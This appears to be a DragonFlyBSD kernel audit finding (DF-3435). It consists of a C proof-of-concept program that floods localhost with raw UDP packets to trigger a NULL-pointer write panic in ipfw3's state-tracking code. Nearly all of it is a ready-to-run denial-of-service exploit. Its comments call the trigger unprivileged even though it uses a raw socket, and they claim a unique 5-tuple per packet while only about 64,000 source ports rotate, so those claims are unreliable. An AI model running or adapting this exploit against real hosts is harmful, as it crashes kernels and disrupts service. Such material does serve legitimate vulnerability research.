⬢ DragonFlyBSD Kernel Audit
DF-3435 / state_null.c
← back to finding ↓ download raw
/*
 * DF-3435 - ipfw3 check_keep_state() dereferences a kmalloc(..., M_NULLOK)
 *           result without a NULL check -> deterministic NULL-page WRITE
 *           panic when the M_IPFW3_STATE malloc-type limit is reached
 *           (ip_fw3_state.c:319-321, kern_slaballoc.c:694-705).
 *
 *   s = kmalloc(LEN_FW3_STATE, M_IPFW3_STATE, M_INTWAIT | M_NULLOK | M_ZERO);
 *   s->src_addr = k->src_addr;		<- NULL write when s == NULL
 *
 * The default malloc-type limit is kmem_lim_size()/10 (~10% of physmem,
 * kern_slaballoc.c:365-372).  The per-tree count gate
 * (sysctl_var_state_max_udp_in, default 4096) must be raised by the admin
 * (sysctl, root) for the limit to be reachable by traffic; any ipfw3
 * deployment that raises the state limits (or a machine where the type
 * limit is otherwise exhausted) turns unprivileged localhost UDP traffic
 * into a kernel NULL write.
 *
 * Trigger (unprivileged): raw-socket flood of unique-src-port UDP packets
 * to 127.0.0.1 against the keep-state limit rule; each unique 5-tuple
 * allocates one 64B state until the type limit -> NULL -> write to 0x0.
 *
 * Expected: "Fatal trap 12: page fault ... fault VA 0x0 ... check_keep_state"
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static unsigned short
cksum(unsigned short *p, int nwords)
{
	unsigned long sum = 0;

	while (nwords-- > 0)
		sum += *p++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum);
}

int
main(int argc, char **argv)
{
	unsigned char pkt[20 + 8 + 8];
	struct sockaddr_in to;
	unsigned long sent = 0, goal = argc > 1 ? strtoul(argv[1], NULL, 10) : 20000000UL;
	int s, one = 1;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("raw socket"); return 1; }
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		perror("HDRINCL");

	memset(&to, 0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_port = 0;
	to.sin_addr.s_addr = htonl(0x7f000001);

	while (sent < goal) {
		struct ip *ip = (struct ip *)pkt;
		struct udphdr *uh = (struct udphdr *)(pkt + 20);
		unsigned short sport = 1024 + (unsigned short)(sent % 64512);

		/* rotate the 16-bit space with a stride to avoid early reuse */
		sport = 1024 + (unsigned short)(((sent * 2654435761UL) >> 16) % 64512);

		memset(pkt, 0, sizeof(pkt));
		ip->ip_hl = 5;
		ip->ip_v = 4;
		ip->ip_tos = 0;
		ip->ip_len = htons(sizeof(pkt));
		ip->ip_id = 0;
		ip->ip_off = 0;
		ip->ip_ttl = 64;
		ip->ip_p = IPPROTO_UDP;
		ip->ip_sum = 0;
		ip->ip_src.s_addr = htonl(0x7f000001);
		ip->ip_dst.s_addr = htonl(0x7f000001);
		uh->uh_sport = htons(sport);	/* unique 5-tuple per packet */
		uh->uh_dport = htons(9);
		uh->uh_ulen = htons(8 + 8);
		uh->uh_sum = 0;			/* udp cksum optional on v4 */
		ip->ip_sum = cksum((unsigned short *)pkt, 10);

		if (sendto(s, pkt, sizeof(pkt), 0,
			   (struct sockaddr *)&to, sizeof(to)) < 0) {
			perror("sendto");
			usleep(1000);
			continue;
		}
		sent++;
		if ((sent % 1000000) == 0) {
			printf("sent %luM\n", sent / 1000000UL);
			fflush(stdout);
		}
	}
	printf("done: %lu packets, no panic\n", sent);
	return 0;
}